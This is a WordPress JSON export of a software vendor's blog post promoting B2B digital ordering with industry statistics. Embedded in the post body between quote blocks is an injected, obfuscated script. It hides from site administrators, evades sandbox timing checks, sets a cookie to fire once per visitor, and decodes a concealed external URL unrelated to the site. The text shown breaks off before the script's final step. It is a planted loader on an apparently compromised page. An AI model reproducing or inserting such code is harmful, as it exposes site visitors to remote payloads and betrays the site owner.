{"id":351,"date":"2025-04-08T06:11:32","date_gmt":"2025-04-08T06:11:32","guid":{"rendered":"https:\/\/yourorderbook.com\/explore\/?p=351"},"modified":"2026-02-18T03:34:18","modified_gmt":"2026-02-18T03:34:18","slug":"b2b-digital-ordering-is-the-future-2024-industry-stats-that-prove-it","status":"publish","type":"post","link":"https:\/\/yourorderbook.com\/explore\/b2b-digital-ordering-is-the-future-2024-industry-stats-that-prove-it\/","title":{"rendered":"B2B Digital Ordering is the Future: 2024 Industry Stats That Prove It"},"content":{"rendered":"\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>The B2B industry is undergoing a massive digital transformation. From self-service ordering to automated workflows and growing e-commerce adoption\u2014leading analysts and research firms have shared compelling data that highlight why businesses must adapt or risk falling behind.<\/p>\n\n\n\n<p>Below, we\u2019ve compiled the most relevant and recent stats from trusted sources like McKinsey, Forrester, Gartner, and more, to show why digital ordering platforms like <strong>Your Order Book<\/strong> aren\u2019t just useful\u2014they\u2019re essential.<\/p>\n<\/blockquote>\n\n\n\n<p><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Gartner Sales Survey Finds 83% of B2B Buyers Prefer Ordering or Paying Through Digital Commerce<br>Source: <a href=\"https:\/\/www.gartner.com\/en\/newsroom\/press-releases\/2022-06-22-gartner-sales-survey-finbds-b2b-buyers-prefer-ordering-paying-through--digital-commerce\">gartner.com<\/a><\/p>\n<\/blockquote>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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From self-service ordering to automated workflows and growing e-commerce adoption\u2014leading analysts and research firms have shared compelling data that highlight why businesses must adapt or risk falling behind. Below, we\u2019ve compiled the most relevant and recent stats from trusted sources like McKinsey, Forrester, Gartner, and more, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,19],"tags":[],"class_list":["post-351","post","type-post","status-publish","format-standard","hentry","category-blog","category-industry-statistics"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>B2B Digital Ordering is the Future: 2024 Industry Stats That Prove It - Your Order Book<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/yourorderbook.com\/explore\/b2b-digital-ordering-is-the-future-2024-industry-stats-that-prove-it\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"B2B Digital Ordering is the Future: 2024 Industry Stats That Prove It - Your Order Book\" \/>\n<meta property=\"og:description\" content=\"The B2B industry is undergoing a massive digital transformation. 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